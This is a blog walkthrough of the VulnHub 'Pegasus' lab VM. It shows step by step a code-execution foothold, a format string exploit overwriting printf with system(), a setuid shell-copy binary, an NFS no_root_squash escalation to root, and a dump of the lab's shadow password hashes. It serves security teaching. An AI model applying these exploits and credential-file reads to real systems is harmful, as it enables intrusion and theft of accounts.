Address
304 North Cardinal St.
Dorchester Center, MA 02124
Work Hours
Monday to Friday: 7AM - 7PM
Weekend: 10AM - 5PM
Address
304 North Cardinal St.
Dorchester Center, MA 02124
Work Hours
Monday to Friday: 7AM - 7PM
Weekend: 10AM - 5PM
The next walkthrough I decided to do was Pegasus by Knapsy. This was a slightly newer, and possibly more difficult, boot2root.
First things first, netdiscover to get the IP of the vulnerable box.
root@kali:~# netdiscover -i eth0 -r 172.16.119.0/24 Currently scanning: Finished! | Screen View: Unique Hosts 3 Captured ARP Req/Rep packets, from 3 hosts. Total size: 180 ________________________________________________________________ IP At MAC Address Count Len MAC Vendor ---------------------------------------------------------------- 172.16.119.1 00:50:56:c0:00:01 01 060 VMWare, Inc. 172.16.119.129 00:0c:29:a6:07:a7 01 060 VMware, Inc. 172.16.119.254 00:50:56:ff:a3:23 01 060 VMWare, Inc.
With the IP, I started up Nmap to see what sort of attack surface I was working with.
root@kali:~# nmap -sT -sV -O 172.16.119.129 Starting Nmap 6.47 ( http://nmap.org ) at 2015-07-14 01:51 EDT Nmap scan report for 172.16.119.129 Host is up (0.00032s latency). Not shown: 997 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 5.9p1 Debian 5ubuntu1.4 (Ubuntu Linux; protocol 2.0) 111/tcp open rpcbind 2-4 (RPC #100000) 8088/tcp open http nginx 1.1.19 MAC Address: 00:0C:29:A6:07:A7 (VMware) Device type: general purpose Running: Linux 3.X OS CPE: cpe:/o:linux:linux_kernel:3 OS details: Linux 3.11 - 3.14 Network Distance: 1 hop Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel OS and Service detection performed. Please report any incorrect results at http://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 21.03 seconds
I figured HTTP would be my best bet, so I pulled up the home page only to be greeted by a picture of the mythical beast.
Dirbuster did manage to pickup a codereview.php and a submit.php (presumably used by the code review page) page though, so all was not lost.
The code review page appeared to be some sort of manual or automated code review solution that just passed whatever I put in to submit.php with little feedback.
After trying a bunch of various languages and backdoors/command execution, I finally got the code review to give me a different response when I tried to have it execute a system(“id”);
Figuring that this was indeed an automated code “tester”, I found some C shellcode that didn’t use a system() call, and managed to successfully connect to the box (and add my key as an authorized key for a fully interactive terminal).
root@kali:~# nc 172.16.119.129 4444 id uid=1001(mike) gid=1001(mike) groups=1001(mike) cat .ssh/authorized_keys ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCdubHNkqPbAwD0ikkAKCWcEmxDNokB4gYle0ioj/NC/PA6wQjHRFOA32H/xGS1aGuTv3+xe9d7F4m6QuhZytNJ6QeVchqnf6zqg+0XlRyNxA3SUVxl2j+8fMgHeA92QqfWoIcknH/CaEWo5ZQTrSL4+A0hX2c7xMy2RyU4LEYxY3pEy9LayHmaqjHd3CKaeiDDDyEhSuGNPn1xPAOLB4h4idk88Ih50tu6rbl0hk/rEUCFYTTsWNtVy1u+uGAqimHv0xsYKQux1JLkymKYERXwTxSmNjK0Bx/d5IrI4oh4iUfnxqsvwcG6Sb6sKFwlhYypNgRr6zU3eZMltsSlc10j root@kali root@kali:~# ssh -i .ssh/id_rsa [email protected] Welcome to Ubuntu 12.04.5 LTS (GNU/Linux 3.13.0-39-generic i686) * Documentation: https://help.ubuntu.com/ System information as of Fri May 8 23:50:05 AEST 2015 System load: 0.02 Processes: 92 Usage of /: 12.5% of 18.32GB Users logged in: 0 Memory usage: 13% IP address for eth0: 172.16.119.129 Swap usage: 0% Graph this data and manage this system at: https://landscape.canonical.com/ Your Hardware Enablement Stack (HWE) is supported until April 2017. You have mail. Last login: Wed July 15 20:48:24 2015 from 172.16.119.128 mike@pegasus:~$
First up was to check mike’s mail, since there was a mention of it as soon as I logged in as him.
mike@pegasus:~$ cat /var/mail/mike From john@pegasus Tue Nov 18 17:49:37 2014 Return-Path:X-Original-To: mike@pegasus Delivered-To: mike@pegasus Received: by pegasus (Postfix, from userid 1000) id C44858098C; Tue, 18 Nov 2014 17:49:37 +1100 (EST) Date: Tue, 18 Nov 2014 17:49:37 +1100 From: John Wall To: mike@pegasus Subject: Code for review Message-ID: <20141118064937.GA3880@pegasus> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.5.21 (2010-09-15) Status: RO Content-Length: 327 Lines: 8 Hi Mike, I've crafted something simple in C, treating it as a refresher course for myself (it's been YEARS since I last coded something up) - would you mind reviewing it for me? I've put the binary in your home directory for convenience. You can also find the source code under our local git repo: my_first.git Thanks! John
There wasn’t much inside of mike’s home directory when I checked, so I cloned the git directory referenced in the e-mail and decided to check that out.
mike@pegasus:~$ ls -al total 52 drwxr-x--- 6 mike mike 4096 May 8 23:51 . drwxr-xr-x 5 root root 4096 Nov 18 12:36 .. -rw------- 1 mike mike 0 Apr 22 21:18 .bash_history -rw-r--r-- 1 mike mike 220 Nov 18 12:28 .bash_logout -rw-r--r-- 1 mike mike 3501 Nov 19 02:01 .bashrc drwx------ 2 mike mike 4096 Nov 18 12:31 .cache -rwxr-xr-x 1 mike mike 845 Nov 18 20:52 check_code.sh drwx------ 2 mike mike 4096 Nov 18 17:49 Mail -rwsr-xr-x 1 john john 6606 Nov 28 10:26 my_first -rw-r--r-- 1 mike mike 675 Nov 18 12:28 .profile drwx------ 2 mike mike 4096 Apr 22 20:42 .ssh drwxr-xr-x 3 mike mike 4096 May 8 23:51 tests -rw------- 1 mike mike 918 Apr 22 20:50 .viminfo mike@pegasus:~$ git clone /opt/git/my_first.git/ tests Cloning into 'tests'... done. mike@pegasus:~$ cd tests
Inside of the git repository was a main.c file that looked like it might be vulnerable to some sort of overflow/exploit.
#include#include int calculator(); int string_replay(); int string_reverse(); int quit(); int main() { char selection[3]; int sel; char * err_check; printf("WELCOME TO MY FIRST TEST PROGRAM\n"); printf("--------------------------------\n"); printf("Select your tool:\n"); printf("[1] Calculator\n"); printf("[2] String replay\n"); printf("[3] String reverse\n"); printf("[4] Exit\n\n"); do { printf("Selection: "); if (fgets(selection, sizeof selection, stdin) != NULL) { sel = strtol(selection, &err_check, 10); switch (sel) { case 1: { calculator(); break; } case 2: { string_replay(); break; } case 3: { string_reverse(); break; } case 4: { quit(); break; } default: { printf("\nError: Incorrect selection!\n\n"); } } } else { printf("\nBye!\n"); break; } } while (sel != 4); } int calculator() { char numberA[30]; char numberB[30]; char * err_check; printf("\nEnter first number: "); if (fgets(numberA, sizeof numberA, stdin) != NULL) { int numA = strtol(numberA, &err_check, 10); if (*err_check != '\n') { printf("Error details: %s", err_check); printf("\n"); return 1; } printf("Enter second number: "); if (fgets(numberB, sizeof numberB, stdin) != NULL) { int numB = strtol(numberB, &err_check, 10); if (*err_check != '\n') { printf("Error details: %s", err_check); printf("\n"); return 1; } int sum = numA + numB; printf("Result: %i + %i = %i\n\n", numA, numB, sum); return 0; } else { printf("\nBye!\n"); return 1; } } else { printf("\nBye!\n"); return 1; } } int string_replay() { char input[100]; printf("\nEnter a string: "); if (fgets(input, sizeof input, stdin) != NULL) { printf("You entered: %s\n", input); } else { printf("\nBye!\n"); return 1; } return 0; } int string_reverse() { //TODO printf("\nError: Not yet implemented!\n\n"); return 1; } int quit() { printf("\nGoodbye!\n"); return 0; }
The my_first application inside of mike’s home directory (that was actually suid for john/john) appeared to be the same application, so that was a good start.
mike@pegasus:~$ ./my_first WELCOME TO MY FIRST TEST PROGRAM -------------------------------- Select your tool: [1] Calculator [2] String replay [3] String reverse [4] Exit Selection: 1 Enter first number: 1 Enter second number: 2 Result: 1 + 2 = 3 Selection: 4 Goodbye!
After a lot of testing and various inputs, I found that the calculator tool in the application was more than likely vulnerable to a format string exploit.
mike@pegasus:~$ ./my_first WELCOME TO MY FIRST TEST PROGRAM -------------------------------- Select your tool: [1] Calculator [2] String replay [3] String reverse [4] Exit Selection: 1 Enter first number: %x Enter second number: %x Error details: bfed1b3c Selection: 4 Goodbye!
While I’ll do my best to explain format string vulnerabilities and my process, I want to first interject with some great resources on the subject.
Fuzzy Security Format String Exploitation – Part 1
Fuzzy Security Format String Exploitation – Part 2
zer0w1re on format string vulnerabilities (including this specific one)
So, the first thing I checked out was where the error was coming from, and how far into it I had control.
mike@pegasus:~$ ./my_first WELCOME TO MY FIRST TEST PROGRAM -------------------------------- Select your tool: [1] Calculator [2] String replay [3] String reverse [4] Exit Selection: 1 Enter first number: AAAABBBB-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x Enter second number: CCCCDDDD-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x Error details: CCCCDDDD-bfc46d4c-a-4005e160-401d0ac0-40020ff4-40021918-bfc46d50-43434343-44444444-2d78252d
I then verified that it was indeed the 8th and 9th variables that I had control of inside of the second number section.
mike@pegasus:~$ ./my_first WELCOME TO MY FIRST TEST PROGRAM -------------------------------- Select your tool: [1] Calculator [2] String replay [3] String reverse [4] Exit Selection: 1 Enter first number: 1 Enter second number: AAAABBBB-%8$x-%9$x Error details: AAAABBBB-41414141-42424242
Before I continued any further, I verified that ASLR was indeed enabled and then subsequently disabled it.
mike@pegasus:~$ cat /proc/sys/kernel/randomize_va_space 2 mike@pegasus:~$ ldd my_first linux-gate.so.1 => (0xb778e000) libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb75dd000) /lib/ld-linux.so.2 (0xb778f000) mike@pegasus:~$ ldd my_first linux-gate.so.1 => (0xb778f000) libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb75de000) /lib/ld-linux.so.2 (0xb7790000) mike@pegasus:~$ ldd my_first linux-gate.so.1 => (0xb7727000) libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7576000) /lib/ld-linux.so.2 (0xb7728000) mike@pegasus:~$ ulimit -s unlimited
With ASLR disabled, I grabbed the address of printf from my_first so that I would know what I had to overwrite. My goal for this was to overwrite the address of printf() with the address of system() so that I could execute arbitrary commands.
mike@pegasus:~$ objdump -R my_first my_first: file format elf32-i386 DYNAMIC RELOCATION RECORDS OFFSET TYPE VALUE 08049bec R_386_GLOB_DAT __gmon_start__ 08049c20 R_386_COPY stdin 08049bfc R_386_JUMP_SLOT printf 08049c00 R_386_JUMP_SLOT fgets 08049c04 R_386_JUMP_SLOT puts 08049c08 R_386_JUMP_SLOT __gmon_start__ 08049c0c R_386_JUMP_SLOT __libc_start_main 08049c10 R_386_JUMP_SLOT putchar 08049c14 R_386_JUMP_SLOT strtol
Next I had to get the address of system(), which was fairly trivial using gdb.
mike@pegasus:~$ gdb -q my_first Reading symbols from /home/mike/my_first...(no debugging symbols found)...done. (gdb) b main Breakpoint 1 at 0x804850f (gdb) r Starting program: /home/mike/my_first Breakpoint 1, 0x0804850f in main () (gdb) p system $1 = {<text variable, no debug info>} 0x40069060(gdb) q A debugging session is active. Inferior 1 [process 4530] will be killed. Quit anyway? (y or n) y
With the address of printf (0x08049bfc) and system (0x40069060) in hand, I created a small python script that I could pipe to my_first for easier building and execution of my exploit.
#!/usr/bin/python payload = "" payload += "1\n" # selection #1 payload += "1\n" # first number payload += "1" # second number print payload
mike@pegasus:~$ ./payload.py | ./my_first WELCOME TO MY FIRST TEST PROGRAM -------------------------------- Select your tool: [1] Calculator [2] String replay [3] String reverse [4] Exit Selection: Enter first number: Enter second number: Result: 1 + 1 = 2 Selection: Bye!
After verifying that the basic calculations worked, I also verified that it could output the correct addresses for my overwriting.
#!/usr/bin/python payload = "" payload += "1\n" # selection #1 payload += "1\n" # first number payload += "AAAABBBB-%8$x-%9$x" # second number print payload
mike@pegasus:~$ ./payload.py | ./my_first WELCOME TO MY FIRST TEST PROGRAM -------------------------------- Select your tool: [1] Calculator [2] String replay [3] String reverse [4] Exit Selection: Enter first number: Enter second number: Error details: AAAABBBB-41414141-42424242 Selection: Bye!
With everything in place, it was time to try to overwrite the address of printf() with the address of system(). To do this, I first put the address of printf() into my second number. I was then able to use %n to write the number of bytes so far into the address that I specified.
#!/usr/bin/python payload = "" payload += "1\n" # selection #1 payload += "1\n" # first number payload += "\xfc\x9b\x04\x08%8$n" # second number print payload
After running this updated script, I was able to see that I indeed overwrote printf, but with 0x00000004 instead of the actual address of system.
mike@pegasus:~$ ./payload.py > in mike@pegasus:~$ gdb -q ./my_first Reading symbols from /home/mike/my_first...(no debugging symbols found)...done. (gdb) x/x 0x08049bfc 0x8049bfc <[email protected]>: 0x080483b6 (gdb) r < in Starting program: /home/mike/my_first < in WELCOME TO MY FIRST TEST PROGRAM -------------------------------- Select your tool: [1] Calculator [2] String replay [3] String reverse [4] Exit Selection: Enter first number: Enter second number: Error details: �� Program received signal SIGSEGV, Segmentation fault. 0x00000004 in ?? () (gdb) x/x 0x08049bfc 0x8049bfc <[email protected]>: 0x00000004
The 0x4 needed to be updated to the system() address, so I calculated the difference between 0x9060 and 0x0004. The reason I did this two bytes at a time (as opposed to all 4) is because the first half is actually in a slightly different memory location (as will be shown later).
mike@pegasus:~$ python -c 'print 0x9060-0x0004' 36956
To update my script, I added %36956u to my payload. This added the specified unsigned decimal value to what I was already writing to that specified memory address.
#!/usr/bin/python payload = "" payload += "1\n" # selection #1 payload += "1\n" # first number payload += "\xfc\x9b\x04\x08" + "%36956u" + "%8$n" # second number print payload
I then ran my script again to verify that I was indeed able to write the correct address for the second half of system() to printf().
mike@pegasus:~$ ./payload.py > in mike@pegasus:~$ gdb -q ./my_first Reading symbols from /home/mike/my_first...(no debugging symbols found)...done. (gdb) r < in Starting program: /home/mike/my_first < in WELCOME TO MY FIRST TEST PROGRAM -------------------------------- Select your tool: [1] Calculator [2] String replay [3] String reverse [4] Exit Selection: Enter first number: Enter second number: Error details: �� < ...snip... > Program received signal SIGSEGV, Segmentation fault. 0x00009060 in ?? ()
To overwrite the first half of the printf() address, I actually had to adjust my memory location slightly. The memory address I needed to overwrite for the other half of the address was actually 0x08049bfc (as oppoesd to 0x08049bfe). The address ending in 0xfc was actually the upper half of the location for printf(), which was why I had to shift by 2 bytes to account for what was already written. Additionally, I had to add my %9$n to the end to actually be able to overwrite this address.
#!/usr/bin/python payload = "" payload += "1\n" # selection #1 payload += "1\n" # first number payload += "\xfc\x9b\x04\x08" + "\xfe\x9b\x04\x08" + "%36956u%8$n" + "%9$n" # second number print payload
Then I was able to verify that I had control over both halves of the memory address.
mike@pegasus:~$ ./payload.py > in mike@pegasus:~$ gdb -q ./my_first Reading symbols from /home/mike/my_first...(no debugging symbols found)...done. (gdb) r < in Starting program: /home/mike/my_first < in WELCOME TO MY FIRST TEST PROGRAM -------------------------------- Select your tool: [1] Calculator [2] String replay [3] String reverse [4] Exit Selection: Enter first number: Enter second number: Error details: ���� < ...snip... > Program received signal SIGSEGV, Segmentation fault. 0x90649064 in ?? ()
Even though I was able to set both halves of the memory address to the proper second half of system(), they were slightly off. The reason for this was the 4 additional bytes added to the beginning increased my value in %n, so I then needed to decrease my %36956u by those 4 bytes as well.
#!/usr/bin/python payload = "" payload += "1\n" # selection #1 payload += "1\n" # first number payload += "\xfc\x9b\x04\x08" + "\xfe\x9b\x04\x08" + "%36952u%8$n" + "%9$n" # second number print payload
With the payload adjusted slightly, I was then able to get the appropriate value in both halves of the memory address.
mike@pegasus:~$ ./payload.py > in mike@pegasus:~$ gdb -q ./my_first Reading symbols from /home/mike/my_first...(no debugging symbols found)...done. (gdb) r < in Starting program: /home/mike/my_first < in WELCOME TO MY FIRST TEST PROGRAM -------------------------------- Select your tool: [1] Calculator [2] String replay [3] String reverse [4] Exit Selection: Enter first number: Enter second number: Error details: ���� < ...snip... > Program received signal SIGSEGV, Segmentation fault. 0x90609060 in ?? ()
The only thing left to do was adjust the first half of the address by the proper number of bytes. Initially, I ran into some issues because 0x4006 – 0x9060 was actually a negative number. After a bit of research I found that I could add a 1 into the least significant bit and it would put me into the same memory address.
mike@pegasus:~$ python -c 'print 0x4006-0x9060' -20570 mike@pegasus:~$ python -c 'print 0x14006-0x9060' 44966
I was then able to add the correct number of bytes to the half of the address I was overwriting with %9$n to my script.
#!/usr/bin/python payload = "" payload += "1\n" # selection #1 payload += "1\n" # first number payload += "\xfc\x9b\x04\x08" + "\xfe\x9b\x04\x08" + "%36952u%8$n" + "%44966u%9$n" # second number print payload
With everything in place, I verified that I could overwrite printf() with system()! The error occurring actually made a lot of sense, and was expected.
Normally in the program execution flow, the next step would be to print “Selection:” to the console. This allows the user to run the program again or to exit. Since I was able to replace printf() with system(), the program was actually trying to execute system(“Selection:”), which of course didn’t exist.
mike@pegasus:~$ ./payload.py > in mike@pegasus:~$ gdb -q ./my_first Reading symbols from /home/mike/my_first...(no debugging symbols found)...done. (gdb) r < in Starting program: /home/mike/my_first < in WELCOME TO MY FIRST TEST PROGRAM -------------------------------- Select your tool: [1] Calculator [2] String replay [3] String reverse [4] Exit Selection: Enter first number: Enter second number: Error details: ���� < ...snip... > sh: 1: Selection:: not found Program received signal SIGSEGV, Segmentation fault. 0x08c3c903 in ?? ()
The next step was to create a simple executable inside of my path (named “Selection:”) that would be executed once this step in the program was reached. Alternatively, I could have just created a symbolic link to /bin/sh named “Selection:”, but I didn’t think of that at the time.
mike@pegasus:~$ cat suid.c
#include <stdio.h>
int main()
{
system("cp /bin/sh /tmp/john");
system("chmod 4777 /tmp/john");
}
mike@pegasus:~$ gcc -o "Selection:" suid.c
mike@pegasus:~$ export PATH=$PATH:/home/mike
mike@pegasus:~$ echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/home/mike
mike@pegasus:~$ ./payload.py | ./my_first
WELCOME TO MY FIRST TEST PROGRAM
--------------------------------
Select your tool:
[1] Calculator
[2] String replay
[3] String reverse
[4] Exit
Selection:
Enter first number: Enter second number: Error details: ����
< ...snip... >
Segmentation fault (core dumped)
mike@pegasus:~$ ls /tmp
john
mike@pegasus:~$ exec /tmp/john
$ id
uid=1001(mike) gid=1001(mike) euid=1000(john) groups=1000(john),1001(mike)
$
Now that I had control over the john account, I copied over my SSH key to have a fully interactive shell.
$ echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCdubHNkqPbAwD0ikkAKCWcEmxDNokB4gYle0ioj/NC/PA6wQjHRFOA32H/xGS1aGuTv3+xe9d7F4m6QuhZytNJ6QeVchqnf6zqg+0XlRyNxA3SUVxl2j+8fMgHeA92QqfWoIcknH/CaEWo5ZQTrSL4+A0hX2c7xMy2RyU4LEYxY3pEy9LayHmaqjHd3CKaeiDDDyEhSuGNPn1xPAOLB4h4idk88Ih50tu6rbl0hk/rEUCFYTTsWNtVy1u+uGAqimHv0xsYKQux1JLkymKYERXwTxSmNjK0Bx/d5IrI4oh4iUfnxqsvwcG6Sb6sKFwlhYypNgRr6zU3eZMltsSlc10j root@kali" > /home/john/.ssh/authorized_keys $ chmod 600 /home/john/.ssh/authorized_keys $ exit Connection to 172.16.119.129 closed. root@kali:~# ssh -i .ssh/id_rsa [email protected] Welcome to Ubuntu 12.04.5 LTS (GNU/Linux 3.13.0-39-generic i686) * Documentation: https://help.ubuntu.com/ System information as of Tue May 12 01:06:37 AEST 2015 System load: 0.01 Processes: 87 Usage of /: 12.5% of 18.32GB Users logged in: 0 Memory usage: 13% IP address for eth0: 172.16.119.129 Swap usage: 0% Graph this data and manage this system at: https://landscape.canonical.com/ Your Hardware Enablement Stack (HWE) is supported until April 2017. Last login: Sun Nov 23 21:24:39 2014 from 172.16.246.129 john@pegasus:~$
After a bit of enumeration, it seemed that the john user was able to run NFS under sudo, so of course I did that.
john@pegasus:~$ ls -al total 28 drwxr-x--- 4 john john 4096 Nov 25 04:52 . drwxr-xr-x 5 root root 4096 Nov 18 12:36 .. -rw------- 1 john john 0 May 12 01:06 .bash_history -rw-r--r-- 1 john john 220 Nov 18 12:15 .bash_logout -rw-r--r-- 1 john john 3501 Nov 19 01:59 .bashrc drwx------ 2 john john 4096 Nov 18 12:15 .cache -rw-r--r-- 1 john john 675 Nov 18 12:15 .profile drwx------ 2 john john 4096 May 11 21:47 .ssh john@pegasus:~$ cat .bash_history john@pegasus:~$ sudo -l Matching Defaults entries for john on this host: env_reset, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin User john may run the following commands on this host: (root) NOPASSWD: /usr/local/sbin/nfs john@pegasus:~$ cat /etc/exports # /etc/exports: the access control list for filesystems which may be exported # to NFS clients. See exports(5). # # Example for NFSv2 and NFSv3: # /srv/homes hostname1(rw,sync,no_subtree_check) hostname2(ro,sync,no_subtree_check) # # Example for NFSv4: # /srv/nfs4 gss/krb5i(rw,sync,fsid=0,crossmnt,no_subtree_check) # /srv/nfs4/homes gss/krb5i(rw,sync,no_subtree_check) # /opt/nfs *(rw,sync,crossmnt,no_subtree_check,no_root_squash) john@pegasus:~$ sudo /usr/local/sbin/nfs start * Exporting directories for NFS kernel daemon... [ OK ] * Starting NFS kernel daemon [ OK ]
I hoped exploiting that would be as simple as creating a setuid root binary on my attacker machine, mounting the directory on the vulnerable VM, and executing the application with the same permissions.
root@kali:/mnt# cat suid.c int main() { system("/bin/sh"); } root@kali:/mnt# gcc -o suid suid.c -m32 root@kali:/mnt# chmod 4777 suid root@kali:/mnt# ls -al total 20 drwxr-xr-x 2 root root 4096 May 11 2015 . drwxr-xr-x 24 root root 4096 Feb 23 16:55 .. -rwsrwxrwx 1 root root 7040 May 11 2015 suid -rw-r--r-- 1 root root 71 May 11 2015 suid.c
With my (super complex) exploit in place, it was time to hop back over to the vulnerable machine and try to run it.
root@kali:/mnt# ssh -i /root/.ssh/id_rsa [email protected] Welcome to Ubuntu 12.04.5 LTS (GNU/Linux 3.13.0-39-generic i686) * Documentation: https://help.ubuntu.com/ System information as of Tue May 12 01:43:04 AEST 2015 System load: 0.0 Processes: 103 Usage of /: 12.5% of 18.32GB Users logged in: 1 Memory usage: 15% IP address for eth0: 172.16.119.129 Swap usage: 0% Graph this data and manage this system at: https://landscape.canonical.com/ Your Hardware Enablement Stack (HWE) is supported until April 2017. You have mail. Last login: Tue May 12 01:06:19 2015 from 172.16.119.128 mike@pegasus:~$ cd /opt/nfs mike@pegasus:/opt/nfs$ ls nfs suid suid.c
Upon running my suid binary, I was able to get root and access the flag file!
mike@pegasus:/opt/nfs$ ./suid # id uid=1001(mike) gid=1001(mike) euid=0(root) groups=0(root),1001(mike) # cd /root # ls -al total 32 drwx------ 3 root root 4096 Dec 16 19:09 . drwxr-xr-x 22 root root 4096 Nov 19 02:58 .. -rw------- 1 root root 98 Dec 16 19:12 .bash_history -rw-r--r-- 1 root root 3121 Nov 19 02:01 .bashrc drwx------ 2 root root 4096 Nov 23 21:28 .cache -rw------- 1 root root 1824 Dec 16 19:09 flag -rw-r--r-- 1 root root 140 Apr 19 2012 .profile -rw------- 1 root root 777 Dec 16 19:09 .viminfo # cat flag , |`\ /'_/_ ,'_/\_/\_ , ,'_/\'_\_,/_ ,'| ,'_/\_'_ \_ \_/ _,-'_/ ,'_/'\_'_ \_ \'_,\ _,-'_,-/ \, Pegasus is one of the ,' /_\ _'_ \_ \'_,/ __,-'<_,' _,\_,/ best known creatures ( (' )\/(_ \_ \'_,\ __--' _,-_/_,-',_/ _\ in Greek mythology. \_`\> 6` 7 \'_,/ ,-' _,-,'\,_'_ \,_/'_,\ He is a winged stallion \/- _/ 7 '/ _,' _/'\_ \,_'_ \_ \'_,/ usually depicted as \_'/> 7'_/' _/' \_ '\,_'_ \_ \'_,\ pure white in color. >/ _ ,V ,< \__ '\,_'_ \_ \'_,/ Symbol of wisdom and /'_ ( )_)\/-,',__ '\,_'_,\_,\'_\ fame. ( ) \_ \|_ `\_ \_,/'\,_'_,/' \\_ \_\_) `\_ Fun fact: Pegasus was \_) > `\_ also a video game / `, |`\_ system sold in Poland, / \ / \ `\ Serbia and Bosnia. It / __/| / / `\ was a hardware clone (` ( (` (_ \ / of the Nintendo / ,/ | / / \ Famicom. / ,/ | / \ `\_ _/_/ |/ /__/,_/ /_( /_( CONGRATULATIONS! You made it 🙂 Hope you enjoyed the challenge as much as I enjoyed creating it and I hope you learnt a thing or two while doing it! 🙂 Massive thanks and a big shoutout to @iMulitia for beta-breaking my VM and providing first review. Feel free to hit me up on Twitter @TheKnapsy or at #vulnhub channel on freenode and leave some feedback, I would love to hear from you! Also, make sure to follow @VulnHub on Twitter and keep checking vulnhub.com for more awesome boot2root VMs!
This was definitely an enjoyable and challenging VM that kept me learning and on my toes. I would highly recommend it to anyone who would like to learn (or refresh) their format string exploits.
And, of course, I grabbed the shadow file.
# cat /etc/shadow root:$6$Pz6ShxS8$VHkUdK5CIjARUoOUczKKFqPoK50zSIbzXfLBGLpyG/6UQ8/ndI41AZFONxE2/16kEp2HNtLYwLrXMzm4ZiASI.:16402:0:99999:7::: daemon:*:16392:0:99999:7::: bin:*:16392:0:99999:7::: sys:*:16392:0:99999:7::: sync:*:16392:0:99999:7::: games:*:16392:0:99999:7::: man:*:16392:0:99999:7::: lp:*:16392:0:99999:7::: mail:*:16392:0:99999:7::: news:*:16392:0:99999:7::: uucp:*:16392:0:99999:7::: proxy:*:16392:0:99999:7::: www-data:*:16392:0:99999:7::: backup:*:16392:0:99999:7::: list:*:16392:0:99999:7::: irc:*:16392:0:99999:7::: gnats:*:16392:0:99999:7::: nobody:*:16392:0:99999:7::: libuuid:!:16392:0:99999:7::: syslog:*:16392:0:99999:7::: messagebus:*:16392:0:99999:7::: whoopsie:*:16392:0:99999:7::: landscape:*:16392:0:99999:7::: sshd:*:16392:0:99999:7::: john:$6$Ird1gKSx$m5aYqOeNiUY/AE4iX2Ajm1tUEUrxVC2dWpLid.aPkIBeBMiPY3dhwlnxZd6vfHTt/hMNZ5kvcnNomWlFKrpZb1:16397:0:99999:7::: statd:*:16392:0:99999:7::: mike:$6$zh0M1nHz$DDzsAFB279JUeANXAU0r5HxJPsHym6Aof2UypS2ImlnJ1EIQdrCqMXPCCXzCrd50/ZGCzMtw8MToSdK7YUBF1/:16397:0:99999:7::: git:$6$nXnKhWku$9qpFs0RnqnB0.hrzHyaJsGN/gUyjly4inb8i1J1naGOmOXvCBR4.lzVQf6o3dSOIc7lq1kyndN5KnHDizRqA81:16392:0:99999:7:::
Ray Doyle is an avid pentester/security enthusiast/beer connoisseur who has worked in IT for almost 16 years now. From building machines and the software on them, to breaking into them and tearing it all down; he’s done it all. To show for it, he has obtained an OSCE, OSCP, eCPPT, GXPN, eWPT, eWPTX, SLAE, eMAPT, Security+, ICAgile CP, ITIL v3 Foundation, and even a sabermetrics certification!
He currently serves as a Senior Staff Adversarial Engineer for Avalara, and his previous position was a Principal Penetration Testing Consultant for Secureworks.
This page contains links to products that I may receive compensation from at no additional cost to you. View my Affiliate Disclosure page here. As an Amazon Associate, I earn from qualifying purchases.
For “suid.c” you are mentioning #include with no library mentioned. And it gives an error.
Hey, thanks for that, the < and > got caught up and interpreted as HTML. I’ve fixed the post, but it is #include.
[…] http://www.doyler.net/security-not-included/pegasus-walkthrough […]
This was an extremely wonderful post. Thank you for providing this info.
I was curious if you ever considered changing the layout of your site?
Its very well written; I love what youve
got to say. But maybe you could a little more in the way of
content so people could connect with it better.
Youve got an awful lot of text for only having 1 or 2
images. Maybe you could space it out better?
I have considered it, but wasn’t sure if anything fit the theme as well or would be any better.
Any suggestions?